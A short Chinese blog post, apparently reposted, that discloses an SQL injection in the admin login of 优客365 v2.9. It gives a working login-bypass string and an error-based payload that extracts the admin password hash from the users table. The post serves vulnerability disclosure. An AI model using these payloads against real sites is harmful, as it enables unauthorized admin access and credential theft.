优客365 v2.9版本 后台存在SQL注入

安装

打开后台登陆界面

http://localhost:9096/yk365/system/login.php

输入单引号报错

得到表名

经过跟踪后在modulelogin.php文件出现错误

 代码处理不严谨。根据上图,经测试,用户名可以用1' or '1'='1进行绕过

但密码经过md5加密

接下来通过SQL注入得到md5加密后的密码

payload:' and (select 1 from(select count(*),concat(0x7e,(select user_pass from dir_users where user_id=1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x)a)--+

 

用sqlmap跑的时候跑不出

可以利用此方法在不知道用户名的情况下登陆进后台

原文地址:https://www.cnblogs.com/wh4am1/p/7821811.html